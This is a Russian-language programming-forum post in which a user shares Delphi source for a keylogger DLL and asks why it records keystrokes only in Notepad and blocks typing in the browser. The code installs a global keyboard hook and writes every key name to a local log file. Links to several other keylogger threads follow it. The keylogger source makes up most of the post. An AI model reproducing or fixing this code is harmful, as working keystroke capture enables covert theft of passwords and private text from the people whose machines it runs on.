Форум программистов, компьютерный форум, киберфорум
Delphi: Сети
Войти
Регистрация
Восстановить пароль
Карта форума Темы раздела Блоги Сообщество Поиск Заказать работу  
 
-4 / 0 / 0
Регистрация: 13.11.2015
Сообщений: 488
1

Делфи кейлоггер

13.12.2016, 19:32. Показов 1360. Ответов 0
Метки нет (Все метки)

Author24 — интернет-сервис помощи студентам
Нашел такой вот код:
Delphi
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
library hook;
Uses Windows, Messages, Sysutils;
 
var
  myHook: HHook = 0;
 
function MsgProc(Code: integer; wParam: Word; lParam: Longint): Longint; stdcall;
var c: char;
    f: text;
    key: array [0..16] of Char;
begin
  if (Code=HC_ACTION) and (((lParam shr 16) and KF_UP)=0) then
  begin
  Assign(f,'D:\log.txt');
  if FileExists('D:\log.txt') then
  Append(f) else Rewrite(f);
 
  GetKeyNameText(lParam,key,SizeOf(key));
 
  Writeln(f,key);
  CloseFile(f);
  //Wnd:=wParam;
  //getWindowText(Wnd,str2,255);
  //str:=str2;
  //if str<>'' then MessageBox(0,PChar(str),'',mb_TaskModal);
  //end;
  //if str='Диспетчер задач Windows' then result:=0 else
  result:=CallNextHookEx(myHook,Code,wParam,lParam);
  //result:=0;
  end;
end;
 
procedure setHook(Hook: boolean) export; stdcall;
begin
  if Hook then
  begin
    if myHook=0 then
    myHook:=SetWindowsHookEx(WH_KEYBOARD,@MsgProc,HInstance,0);
  end
  else
  begin
    if myHook<>0 then
    UnHookWindowsHookEx(myHook);
    myHook:=0;
  end;
end;
 
exports setHook name 'SetHook';
 
begin
end.
Он нажатие клавиш в блокноте запоминает, в программах нет. И еще он блокирует клавиатуру в браузере. Может и в других программа ну я не тестил.
0
Programming
Эксперт
94731 / 64177 / 26122
Регистрация: 12.04.2006
Сообщений: 116,782
13.12.2016, 19:32
Ответы с готовыми решениями:

Кейлоггер на C++
На кафедре поручили написать кейлоггер на плюсах, а я с системным программированием не сталкивался,...

Кейлоггер
Здравствуйте! Задание звучит так: Перехват и анализ нажатия клавиш на клавиатуре. Состоит из...

Кейлоггер
Хочу написать свой кейлоггер, но не знаю с чего даже начать. Какие библиотеки использовать, как...

КейЛоггер
Доброго вечера! Будьте добры помочь=) есть кейлогер, который отправляет нажатые клавиши на...

0
13.12.2016, 19:32
IT_Exp
Эксперт
87844 / 49110 / 22898
Регистрация: 17.06.2006
Сообщений: 92,604
13.12.2016, 19:32
Помогаю со студенческими работами здесь

Кейлоггер
Из темы все понятно, нужен простой кейлоггер который бует писать все в memo1 (это не злое По это...

Кейлоггер
Привет всем, практически дописал кейлоггер(взял из одного примера и переделал) вот код: Тут мы...

Кейлоггер
Всем привет! Хочу создать кейлоггер НА СВОЙ КОМП! То есть, не для рассылки, а чтоб проверить свой...

Кейлоггер
Начал изучать Делфи, и хочу написать самый простой кейлоггер. В инете искал очень много, но все не...


Искать еще темы с ответами

Или воспользуйтесь поиском по форуму:
1
Ответ Создать тему
КиберФорум - форум программистов, компьютерный форум, программирование
Powered by vBulletin
Copyright ©2000 - 2024, CyberForum.ru